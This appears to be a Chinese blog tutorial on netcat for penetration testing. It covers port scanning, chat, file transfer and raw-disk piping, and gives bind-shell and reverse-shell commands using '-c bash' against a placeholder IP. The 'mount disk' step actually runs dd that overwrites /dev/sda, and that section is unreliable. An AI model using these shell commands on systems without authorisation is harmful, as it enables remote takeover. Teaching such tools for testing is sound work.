网络界的瑞士军刀——NetCat

文章出自JoCat QQ:1506610991 有渗透测试需求及商务合作请联系JoCatWFY@163.com

本文可能存在攻击性,请勿用于非法用途。仅用于技术交流,一切责任与本人无关,如有不足的地方希望指点

简介

NETCAT被人们称为网络工具中的瑞士军刀,体积很小但功能强大。
它能通过TCP和UDP在网络中读写数据,在两台电脑之间建立链接并返回两个数据流。
通过NetCat可以做很多我们在平常渗透测试中需要做的事,今天我就来介绍下NetCat的基本玩法~

1.下载地址

默认linux发行版都是自带netcat的
而我们在windows环境下一样可以使用netcat
下载地址如下
https://github.com/diegocr/netcat
配置一下环境变量我们就可以在cmd下直接使用啦
QQ截图20201121224756.png

2.命令介绍

nc -help

通过-help参数我们可以查看nc具有的功能,如图
QQ截图20201121225806.png
下面为翻译结果

Options taking a time assume seconds. Append 'ms' for milliseconds,  
花费一段时间的选项假定为秒。附加毫秒数,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
“s”表示秒,“m”表示分钟,或“h”表示小时(例如500毫秒)。
-4 Use IPv4 only
-4仅使用IPv4
-6 Use IPv6 only
-6仅使用IPv6
-U, --unixsock Use Unix domain sockets only
-U、 --unixsock仅使用Unix域套接字
-C, --crlf Use CRLF for EOL sequence
-C、 --crlf使用crlf进行下线顺序
-c, --sh-exec <command> Executes the given command via /bin/sh
-c、 --sh exec<command>通过/bin/sh执行给定的命令
-e, --exec <command> Executes the given command
-e、 --exec<command>执行给定的命令
--lua-exec <filename> Executes the given Lua script
--lua exec<filename>执行给定的lua脚本
-g hop1[,hop2,...] Loose source routing hop points (8 max)
-g hop1[,hop2,…]松散源路由跃点(最多8个)
-G <n> Loose source routing hop pointer (4, 8, 12, ...)
-G<n>松散源路由跃点指针(4,8,12,…)
-m, --max-conns <n> Maximum <n> simultaneous connections
-m、 --最大连接数<n>最大值<n>同时连接数
-h, --help Display this help screen
-h、 --帮助显示此帮助屏幕
-d, --delay <time> Wait between read/writes
-d、 --读/写之间的延迟<时间>等待
-o, --output <filename> Dump session data to a file
-o、 --输出<filename>将会话数据转储到文件
-x, --hex-dump <filename> Dump session data as hex to a file
-x、 --十六进制转储<filename>将会话数据以十六进制形式转储到文件中
-i, --idle-timeout <time> Idle read/write timeout
-i、 --空闲超时<时间>空闲读/写超时
-p, --source-port port Specify source port to use
-p、 --源端口端口指定要使用的源端口
-s, --source addr Specify source address to use (doesn't affect -l)
-s、 --source addr指定要使用的源地址(不影响-l)
-l, --listen Bind and listen for incoming connections
-l、 --侦听绑定并侦听传入的连接
-k, --keep-open Accept multiple connections in listen mode
-k、 --保持多个侦听连接处于打开状态
-n, --nodns Do not resolve hostnames via DNS
-n、 --nodns不通过DNS解析主机名
-t, --telnet Answer Telnet negotiations
-t、 ——telnet回答telnet协商
-u, --udp Use UDP instead of default TCP
-u、 --udp使用udp而不是默认TCP
--sctp Use SCTP instead of default TCP
--sctp使用sctp而不是默认TCP
-v, --verbose Set verbosity level (can be used several times)
-v、 --详细设置详细级别(可多次使用)
-w, --wait <time> Connect timeout
-w、 --等待<时间>连接超时
-z Zero-I/O mode, report connection status only
-z零I/O模式,仅报告连接状态
--append-output Append rather than clobber specified output files
--追加输出追加而不是删除指定的输出文件
--send-only Only send data, ignoring received; quit on EOF
--仅发送仅发送数据,忽略接收到的数据;退出EOF
--recv-only Only receive data, never send anything
--只接收数据,从不发送任何信息
--allow Allow only given hosts to connect to Ncat
--允许仅允许给定主机连接到Ncat
--allowfile A file of hosts allowed to connect to Ncat
--allowfile允许连接到Ncat的主机文件
--deny Deny given hosts from connecting to Ncat
--拒绝拒绝给定主机连接到Ncat
--denyfile A file of hosts denied from connecting to Ncat
--拒绝连接到Ncat的主机文件
--broker Enable Ncat's connection brokering mode
--代理启用Ncat的连接代理模式
--chat Start a simple Ncat chat server
--聊天启动一个简单的Ncat聊天服务器
--proxy <addr[:port]> Specify address of host to proxy through
--proxy指定要代理的主机的地址
--proxy-type <type> Specify proxy type ("http" or "socks4" or "socks5")
--proxy type<type>指定代理类型(“http”或“socks4”或“socks5”)
--proxy-auth <auth> Authenticate with HTTP or SOCKS proxy server
--proxy auth<auth>通过HTTP或SOCKS代理服务器进行身份验证
--ssl Connect or listen with SSL
--ssl使用ssl连接或侦听
--ssl-cert Specify SSL certificate file (PEM) for listening
--ssl证书指定用于侦听的ssl证书文件(PEM)
--ssl-key Specify SSL private key (PEM) for listening
--ssl密钥指定用于侦听的ssl私钥(PEM)
--ssl-verify Verify trust and domain name of certificates
--ssl verify验证证书的信任和域名
--ssl-trustfile PEM file containing trusted SSL certificates
--ssl trustfile包含可信ssl证书的PEM文件
--ssl-ciphers Cipherlist containing SSL ciphers to use
--ssl密码包含要使用的ssl密码的密码列表
--ssl-alpn ALPN protocol list to use.
--要使用的ssl alpn alpn协议列表。
--version Display Ncat's version information and exit
--版本显示Ncat的版本信息并退出
See the ncat(1) manpage for full options, descriptions and usage examples
有关完整的选项、描述和使用示例,请参见ncat(1)手册页

其实常用的就几个参数-n,-v,-l,-p,-q
我们跟着例子慢慢来熟悉这一强大的工具~

3.使用场景

了解完我们的netcat可以做的事之后,我们就可以开始来上手我们的netcat了,首先我们可以先来看看几个例子

注意!

文章中所有参数都没有简写,为了更好的说明原理
而在实际操作中我们可以把两个参数连接到一起
例如 : -l -p 等价于 -lp

1.Scan——端口扫描

Netcat可以作为我们在渗透前信息收集的一款工具,它可以用来做端口扫描,具体使用场景如下

nc -z -v -n xxx.xxx.xxx.xxx 端口起始-端口结束  
nc -z -v -n 192.168.31.120 1-100
nc -zvn 192.168.31.120 1-65535

默认为tcp模式使用-u参数可为udp模式
-z参数为使用零IO模式,连接成功后立即关闭连接,不进行数据交换,不留下痕迹
-v参数是详细输出的意思
-n参数为不使用DNS反向查询IP地址的域名,可加快速度
端口起始-端口结束参数会扫描这一个范围的端口
QQ截图20201121231705.png
即可扫描出开放端口

2.Chat——聊天服务器

Netcat也可以传输单纯的字符,或文件,在取证时也很有用

A sever : nc -l -p 1888
B sever : nc A's IP 1888

QQ截图20201121233523.png
qq_pic_merged_1605972954674.jpg
-l参数为侦听绑定并侦听传入的连接(listen)
-p参数为指定端口(port)
所以我们只需要在一个机器上设置好监听,另一个机器再连接即可
Netcat会启动一个tcp服务器,所有的标准输出和输入会输出到该端口(1888)。输出和输入都在此shell中展示。

3.文件传输

在我们要传输一些文件,又不想安装其他软件时,小巧的Netcat就可以帮我们实现文件传输
同时,如果你想加密传输的流,我们可以使用mcrypt工具加密

A sever : nc -l -p 1888 > output.txt
B sever : nc A's IP 1888 < input.txt

如图,已经实现我们传输文件的要求
QQ截图20201121235534.png
那么我们如果要传输文件夹或者zip怎么办呢?
我们一样可以使用Netcat

A sever : tar -cvf – dir_name | nc -l -p 1888
B sever : nc -n A's IP 1888 | tar -xvf

使用如上命令即可
如果要加密传输也一样

A sever : nc localhost 1888 | mcrypt –flush –bare -F -q -d -m ecb > input.txt
B sever : mcrypt –flush –bare -F -q -m ecb < output.txt | nc -l -p 1888

4.挂载磁盘

在你想远程访问另一台设备的磁盘时,Netcat没想到居然也能帮你完成

A sever : nc -l -p 1888 |dd of=/dev/sda
B sever : dd if=/dev/sda | nc -nc A's ip 1888

5.*Shell——获取Shell

在我们的渗透测试中,以上几种用法可能都不是我们最需要的,但用Nc获取shell,你不能不会!

1.正向连接

原理图如下
QQ截图20201122001410.png

A Sever : nc -l -p 1888 -c bash
B Sever : nc A's IP 1888

-c参数为通过/bin/sh执行给定的命令在windows下bash要替换为cmd
如图,在电脑上可以直接获取我手机上termux的shell
qq_pic_merged_1605976000013.jpg
QQ截图20201122002609.png

2. 反向连接

原理图如下
QQ截图20201122001520.png
在实战中因为firewall等问题,反向连接对于我们来说更为常用

A Sever : nc -l -p 1888
B Sever : nc A's IP 1888 -c bash

如图,在手机上可以控制电脑上的shell
QQ截图20201122003334.png
qq_pic_merged_1605976429649.jpg

4.结尾

其实Netcat能做的事远不止这些,这篇文章仅用来做个基础的用法介绍,后面更多好用的用法与渗透的思路我都会慢慢分享,感谢各位师傅的支持,在最近我也会更新有关Termux或者PE制作WTG系统制作之类的教程,如果喜欢的话就分享打赏吧~